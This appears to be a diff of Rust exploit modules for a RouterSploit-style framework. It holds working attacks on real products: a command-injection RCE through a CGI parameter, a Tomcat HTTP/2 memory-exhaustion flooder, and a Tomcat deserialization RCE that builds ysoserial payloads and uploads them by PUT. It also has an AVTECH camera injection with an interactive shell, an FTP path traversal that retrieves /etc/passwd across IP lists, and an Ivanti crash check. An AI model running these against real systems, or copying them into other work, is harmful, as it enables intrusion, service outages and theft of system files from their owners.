async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
let url = format!("http://{}:{}/cgi-bin/test", target, port);
let client = Client::builder()
.timeout(Duration::from_secs(5))
.build()?;
let res = client
.get(&url)
.header("Content-Type", "application/x-www-form-urlencoded")
.header("Referer", format!("http://{}:{}", target, port))
.query(&[("iperf", format!(";{}", cmd))])
.send()
.await?;
if res.status().is_success() {
let text = res.text().await?;
Ok(text)
} else {
Err(anyhow!("Command execution failed, status code: {}", res.status()))
}
}
/// // Check if the target is running the vulnerable service
async fn check(target: &str, port: u16) -> Result<bool> {
let url = format!("http://{}:{}/cgi-bin/test", target, port);
let index_url = format!("http://{}:{}/", target, port);
let client = Client::builder()
.timeout(Duration::from_secs(5))
.build()?;
// // Check /cgi-bin/test
let test_res = client.get(&url).send().await?;
if test_res.status().is_success() {
// // Check root page contains 'Web Configurator'
let index_res = client.get(&index_url).send().await?;
if index_res.status().is_success() {
let body = index_res.text().await?;
if body.contains("Web Configurator") {
return Ok(true);
}
}
}
Ok(false)
}
+1
View File
@@ -0,0 +1 @@
pub mod acm_5611_rce;
@@ -0,0 +1,193 @@
use anyhow::{anyhow, bail, Result};
use colored::*;
use rand::Rng;
use reqwest::{ClientBuilder};
use std::io::{self, Write};
use std::net::{TcpStream, ToSocketAddrs};
use std::time::Duration;
use tokio::time::sleep;
use rand::prelude::IndexedRandom;
/// TomcatKiller - CVE-2025-31650
/// Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers
pub async fn run(target: &str) -> Result<()> {
println!("{}", "===== TomcatKiller - CVE-2025-31650 =====".blue());
println!("Developed by: @absholi7ly");
println!("Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers.");
println!("{}", "Warning: For authorized testing only. Ensure HTTP/2 and vulnerable Tomcat version.".yellow());
let port = prompt_for_port().unwrap_or(443);
let normalized = if target.starts_with("http://") || target.starts_with("https://") {
target.to_string()
} else {
format!("https://{}", target)
};
let (host, _) = match validate_url(&normalized) {
Ok(hp) => hp,
Err(e) => {
eprintln!("{}", format!("Invalid target URL: {e}").red());
return Err(e);
}
};
let clean_host = strip_ipv6_brackets(&host);
let num_tasks = 300;
let requests_per_task = 100000;
match check_http2_support(&clean_host, port).await {
Ok(true) => {
println!("{}", format!("Starting attack on {}:{}...", clean_host, port).green());
println!("Tasks: {}, Requests per task: {}", num_tasks, requests_per_task);
println!("{}", "Monitor memory manually via VisualVM or check catalina.out for OutOfMemoryError.".yellow());
let monitor_handle = tokio::spawn(monitor_server(clean_host.clone(), port));
let mut handles = Vec::new();
for i in 0..num_tasks {
let h = clean_host.clone();
handles.push(tokio::spawn(send_invalid_priority_requests(h, port, requests_per_task, i)));
}
for handle in handles {
let _ = handle.await;
}
monitor_handle.abort();
}
Ok(false) => {
bail!("Target does not support HTTP/2. Exploit not applicable.");
}
Err(e) => {
eprintln!("{}", format!("[!] Error checking HTTP/2 support: {e}").red());
return Err(e);
}
}
Ok(())
}
fn prompt_for_port() -> Option<u16> {
print!("{}", "Enter target port (default 443): ".cyan());
io::stdout().flush().ok()?;
let mut buffer = String::new();
io::stdin().read_line(&mut buffer).ok()?;
let trimmed = buffer.trim();
if trimmed.is_empty() {
Some(443)
} else {
trimmed.parse::<u16>().ok()
}
}
fn strip_ipv6_brackets(host: &str) -> String {
host.trim_matches(|c| c == '[' || c == ']').to_string()
}
fn validate_url(url: &str) -> Result<(String, u16)> {
let parsed = url::Url::parse(url)?;
let host = parsed.host_str().ok_or_else(|| anyhow!("Invalid URL format"))?.to_string();
let port = parsed.port_or_known_default().unwrap_or(443);
Ok((host, port))
}
async fn check_http2_support(host: &str, port: u16) -> Result<bool> {
let client = ClientBuilder::new()
.http2_prior_knowledge()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(5))
.build()?;
let url = format!("https://{}:{}/", host, port);
let resp = client.get(&url).header("user-agent", "TomcatKiller").send().await;
match resp {
Ok(response) => {
if response.version() == reqwest::Version::HTTP_2 {
println!("{}", "HTTP/2 supported! Proceeding ...".green());
Ok(true)
} else {
println!("{}", "Server responded, but HTTP/2 not used.".yellow());
Ok(false)
}
}
Err(e) => {
println!("{}", format!("Connection failed: {}:{}. Reason: {e}", host, port).red());
Ok(false)
}
}
}
async fn send_invalid_priority_requests(host: String, port: u16, count: usize, task_id: usize) {
let priorities = get_invalid_priorities();
let client = match ClientBuilder::new()
.http2_prior_knowledge()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_millis(300))
.build()
{
Ok(c) => c,
Err(_) => return,
};
let url = format!("https://{}:{}/", host, port);
for _ in 0..count {
let prio = priorities.choose(&mut rand::rng()).unwrap().to_string();
let headers = [
("priority", prio),
("user-agent", format!("TomcatKiller-{}-{}", task_id, rand::rng().random::<u32>())),
("cache-control", "no-cache".to_string()),
("accept", format!("*/*; q={}", rand::rng().random_range(0.1..1.0))),
];
let mut req = client.get(&url);
for (k, v) in headers.iter() {
req = req.header(*k, v);
}
let _ = req.send().await;
}
}
async fn monitor_server(host: String, port: u16) {
loop {
let addr_result = format!("{}:{}", host, port).to_socket_addrs();
match addr_result {
Ok(mut addrs) => {
if let Some(addr) = addrs.next() {
if TcpStream::connect_timeout(&addr, Duration::from_secs(2)).is_ok() {
println!("{}", format!("Target {}:{} is reachable.", host, port).yellow());
} else {
println!("{}", format!("Target {}:{} unreachable or crashed!", host, port).red());
break;
}
} else {
println!("{}", "DNS lookup failed.".red());
break;
}
}
Err(_) => {
println!("{}", "Failed to resolve host for monitoring.".red());
break;
}
}
sleep(Duration::from_secs(2)).await;
}
}
fn get_invalid_priorities() -> Vec<&'static str> {
vec![
"u=-1, q=2", "u=4294967295, q=-1", "u=-2147483648, q=1.5", "u=0, q=invalid",
"u=1/0, q=NaN", "u=1, q=2, invalid=param", "", "u=1, q=1, u=2",
"u=99999999999999999999, q=0", "u=-99999999999999999999, q=0", "u=, q=",
"u=1, q=1, malformed", "u=1, q=, invalid", "u=-1, q=4294967295",
"u=invalid, q=1", "u=1, q=1, extra=😈", "u=1, q=1; malformed", "u=1, q=1, =invalid",
"u=0, q=0, stream=invalid", "u=1, q=1, priority=recursive", "u=1, q=1, %invalid%",
"u=0, q=0, null=0",
]
}
@@ -0,0 +1,320 @@
use anyhow::{bail, Result};
use regex::Regex;
use reqwest::{Client, StatusCode};
use std::io::{self, Write};
use std::path::Path;
use std::process::{Command, Stdio};
use std::time::Duration;
use tokio::fs::{read, remove_file};
const BANNER: &str = r#"
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗
██╔════╝██║ ██║██╔────╝ ╚════██╗██╔══██╗██╔══██╗██╔══██╗
██║ ██║ ██║█████╗█████╗█████╔╝██████╔╝██████╔╝██║ ██║
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔══██╗██╔══██╗██╔══██╗██║ ██║
╚██████╗ ╚████╔╝ ███████╗ ██████╔╝██║ ██║██║ ██║██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝
"#;
/// // Sanitize IPv6 URL
fn sanitize_target(raw: &str) -> String {
let fixed = raw.replace("[[", "[").replace("]]", "]");
if fixed.starts_with("http://") || fixed.starts_with("https://") {
fixed
} else {
format!("http://{}", fixed)
}
}
/// // Prompt helper
fn prompt(message: &str, default: Option<&str>) -> String {
print!("{}{}: ", message, default.map_or("".to_string(), |d| format!(" [{}]", d)));
io::stdout().flush().unwrap();
let mut buf = String::new();
io::stdin().read_line(&mut buf).unwrap();
let input = buf.trim();
if input.is_empty() {
default.unwrap_or("").to_string()
} else {
input.to_string()
}
}
/// // Check if server is writable
async fn check_writable_servlet(client: &Client, target_url: &str, host: &str, port: &str) -> Result<bool> {
let check_url = format!("{}/check.txt", target_url);
let res = client
.put(&check_url)
.header("Host", format!("{host}:{port}"))
.header("Content-Length", "10000")
.header("Content-Range", "bytes 0-1000/1200")
.body("testdata".to_string())
.timeout(Duration::from_secs(10))
.send()
.await?;
if res.status() == StatusCode::OK || res.status() == StatusCode::CREATED {
println!("[+] Server is writable via PUT: {check_url}");
Ok(true)
} else {
println!("[-] Server not writable: HTTP {}", res.status());
Ok(false)
}
}
/// // Generate a raw Java payload JAR via `javac` and `jar`
fn generate_java_payload(command: &str, payload_file: &str) -> Result<()> {
let payload_java = format!(
r#"
import java.io.IOException;
import java.io.PrintWriter;
public class Exploit {{
static {{
try {{
String cmd = "{cmd}";
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(
Runtime.getRuntime().exec(cmd).getInputStream()
));
String line;
StringBuilder output = new StringBuilder();
while ((line = reader.readLine()) != null) {{
output.append(line).append("\\n");
}}
PrintWriter out = new PrintWriter(System.out);
out.println(output.toString());
out.flush();
}} catch (IOException e) {{
e.printStackTrace();
}}
}}
}}
"#,
cmd = command
);
println!("[*] Generating Java payload using system javac and jar...");
std::fs::write("Exploit.java", &payload_java)?;
let compile = Command::new("javac").arg("Exploit.java").status()?;
if !compile.success() {
bail!("[-] javac failed. Make sure JDK is installed.");
}
let package = Command::new("jar")
.args(["cfe", payload_file, "Exploit", "Exploit.class"])
.status()?;
if !package.success() {
bail!("[-] jar packaging failed.");
}
std::fs::remove_file("Exploit.java").ok();
std::fs::remove_file("Exploit.class").ok();
println!("[+] Java payload JAR created: {}", payload_file);
Ok(())
}
/// // Generate ysoserial payload
fn generate_ysoserial_payload(command: &str, ysoserial_path: &str, gadget: &str, payload_file: &str) -> Result<()> {
if !Path::new(ysoserial_path).exists() {
bail!("[-] Error: {} not found", ysoserial_path);
}
println!("[*] Generating ysoserial payload: {}", command);
let output = Command::new("java")
.args(["-jar", ysoserial_path, gadget, &format!("cmd.exe /c {}", command)])
.stdout(Stdio::piped())
.spawn()?
.wait_with_output()?;
std::fs::write(payload_file, output.stdout)?;
println!("[+] Payload generated: {payload_file}");
Ok(())
}
/// // Upload and verify payload
async fn upload_and_verify_payload(
client: &Client,
target_url: &str,
host: &str,
port: &str,
session_id: &str,
payload_file: &str,
) -> Result<bool> {
let exploit_url = format!("{}/uploads/../sessions/{}.session", target_url, session_id);
let payload = read(payload_file).await?;
let res = client
.put(&exploit_url)
.header("Host", format!("{host}:{port}"))
.header("Content-Length", "10000")
.header("Content-Range", "bytes 0-1000/1200")
.body(payload)
.send()
.await?;
if res.status() == StatusCode::CONFLICT {
println!("[+] Upload successful (409): {}", exploit_url);
let confirm = client
.get(target_url)
.header("Cookie", "JSESSIONID=absholi7ly")
.send()
.await?;
if confirm.status() == StatusCode::INTERNAL_SERVER_ERROR {
println!("[+] Exploit triggered! Server returned 500.");
Ok(true)
} else {
println!("[-] Trigger failed: {}", confirm.status());
Ok(false)
}
} else {
println!("[-] Upload failed: HTTP {}", res.status());
Ok(false)
}
}
/// // Get session ID
async fn get_session_id(client: &Client, target_url: &str) -> Result<String> {
let res = client
.get(&format!("{}/index.jsp", target_url))
.send()
.await?;
let body = res.text().await?;
let re = Regex::new(r"Session ID: (\w+)")?;
if let Some(caps) = re.captures(&body) {
return Ok(caps[1].to_string());
}
println!("[-] No session ID found. Using default.");
Ok("absholi7ly".to_string())
}
/// // Exploit logic
async fn execute_exploit(
target_url: &str,
port: &str,
command: &str,
ysoserial_path: &str,
gadget: &str,
payload_type: &str,
verify_ssl: bool,
) -> Result<()> {
let host = target_url.split("://").nth(1).unwrap_or(target_url).trim_matches('/').split(':').next().unwrap();
let client = Client::builder().danger_accept_invalid_certs(!verify_ssl).build()?;
let session_id = get_session_id(&client, target_url).await?;
println!("[*] Session ID: {session_id}");
if check_writable_servlet(&client, target_url, host, port).await? {
let payload_file = "payload.ser";
match payload_type {
"java" => generate_java_payload(command, payload_file)?,
"ysoserial" => generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file)?,
_ => bail!("[-] Invalid payload type: {}", payload_type),
}
if upload_and_verify_payload(&client, target_url, host, port, &session_id, payload_file).await? {
println!("[+] Target vulnerable to CVE-2025-24813!");
} else {
println!("[-] Exploit failed or target not vulnerable.");
}
remove_file(payload_file).await.ok();
}
Ok(())
}
/// // Entry point
pub async fn run(target: &str) -> Result<()> {
println!("{BANNER}");
let mut target = sanitize_target(target);
println!("[+] Target sanitized: {}", target);
let mut command = String::from("calc.exe");
let mut port = prompt("Enter port (default 8080)", Some("8080"));
println!("[+] Default port set to {}", port);
let mut ysoserial_path = String::from("ysoserial.jar");
let mut gadget = String::from("CommonsCollections6");
let mut payload_type = String::from("ysoserial");
let mut ssl_verify = true;
loop {
println!(
r#"
=== MENU ===
1. Set Target URL (current: {target})
2. Set Command (current: {command})
3. Set Port (current: {port})
4. Set ysoserial Path (current: {ysoserial_path})
5. Set Gadget (current: {gadget})
6. Set Payload Type (current: {payload_type})
7. Toggle SSL Verify (current: {ssl_verify})
8. Run Exploit
9. Exit
"#
);
let selection = prompt("Select an option", None);
match selection.as_str() {
"1" => {
target = prompt("Enter target URL", Some(&target));
println!("[+] Target updated: {target}");
}
"2" => {
command = prompt("Enter command to execute", Some(&command));
println!("[+] Command set: {command}");
}
"3" => {
port = prompt("Enter port", Some(&port));
println!("[+] Port set: {port}");
}
"4" => {
ysoserial_path = prompt("Path to ysoserial.jar", Some(&ysoserial_path));
println!("[+] ysoserial path set: {ysoserial_path}");
}
"5" => {
gadget = prompt("Enter gadget", Some(&gadget));
println!("[+] Gadget set: {gadget}");
}
"6" => {
payload_type = prompt("Payload type (ysoserial/java)", Some(&payload_type));
if payload_type != "ysoserial" && payload_type != "java" {
println!("[-] Invalid type. Only 'ysoserial' or 'java' supported.");
payload_type = "ysoserial".into();
} else {
println!("[+] Payload type set: {payload_type}");
}
}
"7" => {
ssl_verify = !ssl_verify;
println!("[!] SSL verification toggled: {ssl_verify}");
}
"8" => break,
"9" => {
println!("[!] Exiting without running exploit.");
return Ok(());
}
_ => println!("[-] Invalid option. Please choose 1-9."),
}
}
println!("[*] Starting exploit with:");
println!(" Target URL : {target}");
println!(" Command : {command}");
println!(" Port : {port}");
println!(" ysoserial : {ysoserial_path}");
println!(" Gadget : {gadget}");
println!(" SSL Verify : {ssl_verify}");
execute_exploit(&target, &port, &command, &ysoserial_path, &gadget, &payload_type, ssl_verify).await
}
@@ -0,0 +1,3 @@
pub mod cve_2025_24813_apache_tomcat_rce;
pub mod catkiller_cve_2025_31650;
@@ -0,0 +1,114 @@
use anyhow::Result;
use reqwest::Client;
use std::io::{self, Write};
use std::path::Path;
use std::time::Duration;
use tokio::io::{AsyncBufReadExt, BufReader};
/// // Ensures the target string has a scheme (http://) and includes port
fn normalize_url(ip: &str, port: &str) -> String {
let with_scheme = if ip.starts_with("http://") || ip.starts_with("https://") {
ip.to_string()
} else {
format!("http://{}", ip)
};
let port = port.trim();
if port.is_empty() {
with_scheme
} else if with_scheme.contains(':') {
with_scheme // already has port
} else {
format!("{}:{}", with_scheme, port)
}
}
/// // Check if the device is vulnerable to CVE-2024-7029
async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
let mut url = reqwest::Url::parse(base)?;
url.set_path("/cgi-bin/supervisor/Factory.cgi");
url.query_pairs_mut()
.append_pair("action", "Set")
.append_pair("brightness", "1;echo_CVE7029;");
let resp = client.get(url).send().await?;
let body = resp.text().await?;
Ok(body.contains("echo_CVE7029"))
}
/// // Interactive shell to send arbitrary commands
async fn interactive_shell(client: &Client, base: &str) -> Result<()> {
let stdin = tokio::io::stdin();
let mut lines = BufReader::new(stdin).lines();
loop {
print!("cve7029-shell> ");
io::stdout().flush()?;
if let Some(cmd) = lines.next_line().await? {
let cmd = cmd.trim();
if cmd.eq_ignore_ascii_case("exit") {
break;
}
match exec_cmd(client, base, cmd).await {
Ok(out) => println!("{}", out),
Err(e) => eprintln!("Error: {}", e),
}
} else {
break;
}
}
Ok(())
}
/// // Execute a remote command by abusing the brightness parameter
async fn exec_cmd(client: &Client, base: &str, cmd: &str) -> Result<String> {
let mut url = reqwest::Url::parse(base)?;
url.set_path("/cgi-bin/supervisor/Factory.cgi");
let payload = format!("1;{};", cmd);
url.query_pairs_mut()
.append_pair("action", "Set")
.append_pair("brightness", &payload);
let response = client.get(url).send().await?;
Ok(response.text().await?)
}
/// // Prompt user for a custom port number
fn prompt_port() -> Result<String> {
print!("Enter port to use [default: 80]: ");
io::stdout().flush()?;
let mut port = String::new();
io::stdin().read_line(&mut port)?;
let port = port.trim();
Ok(if port.is_empty() { "80".to_string() } else { port.to_string() })
}
/// // Entry point required for RouterSploit-inspired dispatch system
pub async fn run(target: &str) -> Result<()> {
let port = prompt_port()?;
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(5))
.build()?;
// // Handle either single IP or file of targets
let targets = if Path::new(target).exists() {
tokio::fs::read_to_string(target)
.await?
.lines()
.map(str::to_string)
.collect::<Vec<_>>()
} else {
vec![target.to_string()]
};
for raw_ip in &targets {
let url = normalize_url(raw_ip, &port);
if check_vuln(&client, &url).await? {
println!("[+] {} is vulnerable!", url);
interactive_shell(&client, &url).await?;
} else {
println!("[-] {} is not vulnerable", url);
}
}
Ok(())
}
+1
View File
@@ -0,0 +1 @@
pub mod cve_2024_7029_avtech_camera;
+1
View File
@@ -0,0 +1 @@
pub mod pachev_ftp_path_traversal_1_0;
@@ -0,0 +1,190 @@
use anyhow::{anyhow, Result};
use ftp::FtpStream;
use std::net::ToSocketAddrs;
use std::fs::{File, OpenOptions};
use std::io::{copy, BufRead, BufReader, Write};
use std::path::Path;
use tokio::task;
use tokio::sync::Semaphore;
use futures::stream::{FuturesUnordered, StreamExt};
use colored::*; // // Colorful output
use std::time::Duration;
use tokio::time::timeout;
const MAX_CONCURRENT_TASKS: usize = 10; // // Limit concurrent scanning
const FTP_TIMEOUT_SECONDS: u64 = 10; // // Timeout per FTP connection
// // Format IPv4 or IPv6 address with port (handles multiple layers of brackets)
fn format_addr(target: &str, port: u16) -> String {
let mut clean = target.trim().to_string();
while clean.starts_with('[') && clean.ends_with(']') {
clean = clean[1..clean.len() - 1].to_string();
}
if clean.contains(':') {
format!("[{}]:{}", clean, port)
} else {
format!("{}:{}", clean, port)
}
}
// // Actual FTP path traversal exploit
fn exploit_target(target: String, port: u16) -> Result<String> {
let addr = format_addr(&target, port);
println!("{}", format!("[*] Connecting to FTP service at {}...", addr).yellow());
let mut ftp = FtpStream::connect(
addr.to_socket_addrs()?.next().ok_or_else(|| anyhow!("Failed to resolve address"))?
)
.map_err(|e| anyhow!("FTP connection error: {}", e))?;
ftp.login("pachev", "").map_err(|e| anyhow!("FTP login failed: {}", e))?;
println!("{}", "[+] Logged in successfully as 'pachev'.".green());
println!("{}", "[*] Attempting to retrieve /etc/passwd via path traversal...".yellow());
let reader = ftp.simple_retr("../../../../../../../../etc/passwd")
.map_err(|e| anyhow!("Failed to retrieve file: {}", e))?
.into_inner();
let mut reader = std::io::Cursor::new(reader);
let safe_name = target.replace(['[', ']', ':'], "_");
let out_file = format!("{}_passwd.txt", safe_name);
let mut file = File::create(&out_file)?;
copy(&mut reader, &mut file)?;
ftp.quit().ok();
println!("{}", format!("[+] File saved as {}", out_file).green());
Ok(format!("{} SUCCESS", target))
}
// // Save result line into `results.txt`
fn save_result(line: &str) -> Result<()> {
let mut file = OpenOptions::new()
.create(true)
.append(true)
.open("results.txt")?;
writeln!(file, "{}", line)?;
Ok(())
}
// // Public auto-dispatch entry point
pub async fn run(target: &str) -> Result<()> {
let target = target.to_string(); // // Own target early to avoid lifetime issues
println!("Enter the FTP port (default 21):");
let mut port_input = String::new();
std::io::stdin().read_line(&mut port_input)?;
let port_input = port_input.trim();
let port = if port_input.is_empty() {
21
} else {
port_input.parse::<u16>().map_err(|_| anyhow!("Invalid port number"))?
};
println!("Do you want to use a list of IPs? (yes/no):");
let mut use_list = String::new();
std::io::stdin().read_line(&mut use_list)?;
let use_list = use_list.trim().to_lowercase();
if use_list == "yes" || use_list == "y" {
println!("Enter path to the IP list file:");
let mut path = String::new();
std::io::stdin().read_line(&mut path)?;
let path = path.trim();
if !Path::new(path).exists() {
return Err(anyhow!("List file does not exist: {}", path));
}
let file = File::open(path)?;
let reader = BufReader::new(file);
let semaphore = std::sync::Arc::new(Semaphore::new(MAX_CONCURRENT_TASKS));
let mut futures = FuturesUnordered::new();
for line_result in reader.lines() {
match line_result {
Ok(ip) => {
let ip = ip.trim();
if ip.is_empty() {
continue;
}
let ip_owned = ip.to_string();
let port = port;
let target_clone = target.clone(); // // Clone per task
let permit = semaphore.clone().acquire_owned().await?;
println!("{}", format!("[*] Launching task for target: {}", ip_owned).yellow());
futures.push(tokio::spawn(async move {
let _permit = permit; // // Hold permit alive
let exploit_task = task::spawn_blocking(move || exploit_target(ip_owned, port));
match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await {
Ok(Ok(Ok(success))) => {
println!("{}", format!("[+] Success: {}", success).green());
save_result(&success)?;
}
Ok(Ok(Err(e))) => {
println!("{}", format!("[!] Exploit error: {}", e).red());
save_result(&format!("{} FAIL: {}", target_clone, e))?;
}
Ok(Err(e)) => {
println!("{}", format!("[!] Join error: {}", e).red());
save_result(&format!("{} FAIL: Join error {}", target_clone, e))?;
}
Err(_) => {
println!("{}", format!("[!] Timeout while exploiting {}", target_clone).red());
save_result(&format!("{} TIMEOUT", target_clone))?;
}
}
Ok::<(), anyhow::Error>(())
}));
}
Err(e) => {
println!("{}", format!("[!] Failed to read line: {}", e).red());
}
}
}
// // Wait for all tasks to complete
while let Some(res) = futures.next().await {
if let Err(e) = res {
println!("{}", format!("[!] Task error: {}", e).red());
}
}
} else {
// // Single target mode
let target_owned = target.to_string();
let port = port;
let exploit_task = task::spawn_blocking(move || exploit_target(target_owned, port));
match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await {
Ok(Ok(Ok(success))) => {
println!("{}", format!("[+] Success: {}", success).green());
save_result(&success)?;
}
Ok(Ok(Err(e))) => {
println!("{}", format!("[!] Exploit error: {}", e).red());
save_result(&format!("{} FAIL: {}", target, e))?;
}
Ok(Err(e)) => {
println!("{}", format!("[!] Join error: {}", e).red());
save_result(&format!("{} FAIL: Join error {}", target, e))?;
}
Err(_) => {
println!("{}", format!("[!] Timeout while exploiting {}", target).red());
save_result(&format!("{} TIMEOUT", target))?;
}
}
}
Ok(())
}
@@ -0,0 +1,260 @@
//CVE-2025-22457 Ivanti Connect Secure Stack-Based Buffer Overflow Exploit Check
//Author: Bryan Smith (@securekomodo)
//Severity: Critical
//CWE: CWE-121 Stack-Based Buffer Overflow
//CVSS: 9.0 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)
//Product: Ivanti Connect Secure, Ivanti Policy Secure, Ivanti ZTA Gateways
//Affected Versions:
// - Connect Secure < 22.7R2.6
// - Policy Secure < 22.7R1.4
// - ZTA Gateways < 22.8R2.2
// Description:
// This script tests for the presence of CVE-2025-22457, a critical vulnerability in Ivanti Connect Secure,
// which allows a remote unauthenticated attacker to crash the web process via a long X-Forwarded-For header.
// In detailed mode, the vulnerability is confirmed if:
// 1. A pre-check GET request returns HTTP 200
// 2. A POST request with the crafted payload receives no response (safe crash)
// 3. A follow-up GET receives HTTP 200, verifying the previous no-response was not incidental
// If this sequence is observed, the system is marked as vulnerable.
// A vulnerable system will generate the log on the server appliance:
// ERROR31093: Program web recently failed.
//References:
// - https://labs.watchtowr.com/is-the-sofistication-in-the-room-with-us-x-forwarded-for-and-ivanti-connect-secure-cve-2025-22457
// - https://www.cvedetails.com/cve/CVE-2025-22457
// - https://www.redlinecybersecurity.com/blog/cve-2025-22457-python-exploit-poc-scanner-to-detect-ivanti-connect-secure-rce
use anyhow::Result;
use regex::Regex;
use reqwest::{Client, StatusCode};
use std::time::Duration;
use tokio::time::sleep;
use tokio::io::{self, AsyncBufReadExt, BufReader};
use url::Url;
/// ANSI color codes for terminal output
struct Colors;
impl Colors {
const YELLOW: &'static str = "\x1b[93m";
const GREEN: &'static str = "\x1b[92m";
const GRAY: &'static str = "\x1b[90m";
const RED: &'static str = "\x1b[91m";
const RESET: &'static str = "\x1b[0m";
}
/// // Paths tested for CVE-2025-22457
const PATHS: [&str; 2] = [
"/dana-na/auth/url_default/welcome.cgi",
"/dana-na/setup/psaldownload.cgi",
];
/// // Headers for initial and payload requests
fn default_headers() -> reqwest::header::HeaderMap {
let mut headers = reqwest::header::HeaderMap::new();
headers.insert("User-Agent", "Mozilla/5.0".parse().unwrap());
headers
}
fn payload_headers() -> reqwest::header::HeaderMap {
let mut headers = reqwest::header::HeaderMap::new();
headers.insert("User-Agent", "Mozilla/5.0".parse().unwrap());
headers.insert("X-Forwarded-For", "1".repeat(2048).parse().unwrap());
headers
}
/// // Safe HTTP request wrapper
async fn safe_request(
method: &str,
url: &str,
headers: reqwest::header::HeaderMap,
timeout_secs: u64,
) -> Option<reqwest::Response> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(timeout_secs))
.build()
.ok()?;
match method {
"GET" => client.get(url).headers(headers).send().await.ok(),
"POST" => client.post(url).headers(headers).send().await.ok(),
_ => None,
}
}
/// // Normalize and extract usable target URL from IPv6/host formats
async fn normalize_target(raw: &str) -> Result<String> {
let mut input = raw.trim().to_string();
// // Handle IPv6 edge brackets like [[::1]] or [[[::1]]]
while input.starts_with('[') && input.ends_with(']') {
input = input.trim_start_matches('[').trim_end_matches(']').to_string();
}
// // Prepend https:// if missing
if !input.starts_with("http://") && !input.starts_with("https://") {
input = format!("https://{}", input);
}
let mut parsed = Url::parse(&input)?;
// // Prompt for port if not present
if parsed.port_or_known_default().is_none() {
println!("{}No port detected. Please enter a port (e.g. 443):{}", Colors::YELLOW, Colors::RESET);
let mut port_line = String::new();
BufReader::new(io::stdin()).read_line(&mut port_line).await?;
let port = port_line.trim().parse::<u16>()?;
parsed.set_port(Some(port)).expect("invalid port");
}
Ok(parsed[..].to_string())
}
/// // Version info grabber for passive fingerprinting
async fn grab_version_info(target: &str) -> Result<Option<String>> {
let version_url = format!("{}/dana-na/auth/url_admin/welcome.cgi?type=inter", target);
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(5))
.build()?;
if let Ok(r) = client.get(&version_url).send().await {
if r.status() == StatusCode::OK {
let body = r.text().await?;
let name_re = Regex::new(r#"NAME="ProductName"\s+VALUE="([^"]+)""#)?;
let ver_re = Regex::new(r#"NAME="ProductVersion"\s+VALUE="([^"]+)""#)?;
let name = name_re
.captures(&body)
.and_then(|cap| cap.get(1).map(|m| m.as_str()));
let ver = ver_re
.captures(&body)
.and_then(|cap| cap.get(1).map(|m| m.as_str()));
if let (Some(name), Some(ver)) = (name, ver) {
println!("{}Detected {} Version: {}{}", Colors::GREEN, name, ver, Colors::RESET);
// // Passive logic
if ver.starts_with("9.") {
println!(
"{}PASSIVE VULNERABILITY DETECTED: 9.x versions are known to be vulnerable.{}",
Colors::YELLOW, Colors::RESET
);
} else if let Ok(parsed_ver) = semver::Version::parse(ver) {
if parsed_ver < semver::Version::parse("22.7.0")? {
println!(
"{}PASSIVE VULNERABILITY DETECTED: Version {} is older than 22.7.{}",
Colors::YELLOW, ver, Colors::RESET
);
} else {
println!(
"{}Version {} appears patched.{}",
Colors::GREEN, ver, Colors::RESET
);
}
}
return Ok(Some(version_url));
}
}
}
println!("{}Could not determine version (passive).{}", Colors::GRAY, Colors::RESET);
Ok(None)
}
/// // Run detailed check using the 3-phase logic from PoC
async fn detailed_check(target: &str) -> Result<Vec<String>> {
println!(
"\n{}Starting detailed check on {}{}",
Colors::GRAY, target, Colors::RESET
);
let mut vulnerable_paths = Vec::new();
if let Some(ver_url) = grab_version_info(target).await? {
vulnerable_paths.push(ver_url);
}
for path in PATHS {
let full_url = format!("{target}{path}");
println!("\n{}Testing path: {}{}", Colors::GRAY, path, Colors::RESET);
// // Step 1: Pre-check
let r1 = safe_request("GET", &full_url, default_headers(), 5).await;
if r1.as_ref().map(|r| r.status()) != Some(StatusCode::OK) {
println!(
"{}Pre-check failed (status: {}). Skipping...{}",
Colors::GRAY,
r1.as_ref().map(|r| r.status().as_u16()).unwrap_or(0),
Colors::RESET
);
continue;
}
println!("{}Pre-check successful (HTTP 200){}", Colors::GREEN, Colors::RESET);
// // Step 2: Payload
let r2 = safe_request("POST", &full_url, payload_headers(), 10).await;
if r2.is_some() {
println!("{}Payload returned response. Not vulnerable.{}", Colors::GRAY, Colors::RESET);
continue;
}
println!(
"{}No response to payload (expected crash behavior).{}",
Colors::GREEN, Colors::RESET
);
// // Step 3: Follow-up GET
sleep(Duration::from_secs(1)).await;
let r3 = safe_request("GET", &full_url, default_headers(), 5).await;
if r3.as_ref().map(|r| r.status()) == Some(StatusCode::OK) {
println!(
"{}Follow-up returned HTTP 200. Crash condition verified.{}",
Colors::GREEN, Colors::RESET
);
println!(
"{}VULNERABLE: {}{}{}",
Colors::YELLOW, target, path, Colors::RESET
);
vulnerable_paths.push(full_url);
} else {
println!(
"{}Follow-up failed. Crash condition not confirmed.{}",
Colors::GRAY, Colors::RESET
);
}
}
Ok(vulnerable_paths)
}
/// // Required entry point for RouterSploit-style dispatcher
pub async fn run(target: &str) -> Result<()> {
let normalized = normalize_target(target).await?;
let result = detailed_check(&normalized).await?;
if !result.is_empty() {
println!(
"\n{}Exploit result: SUCCESS vulnerable paths found.{}",
Colors::YELLOW, Colors::RESET
);
} else {
println!(
"\n{}Exploit result: NOT VULNERABLE no indicators.{}",
Colors::RED, Colors::RESET
);
}
Ok(())
}
+1
View File
@@ -0,0 +1 @@
pub mod ivanti_connect_secure_stack_based_buffer_overflow;
+11 -2
View File
@@ -1,8 +1,17 @@
pub mod generic;
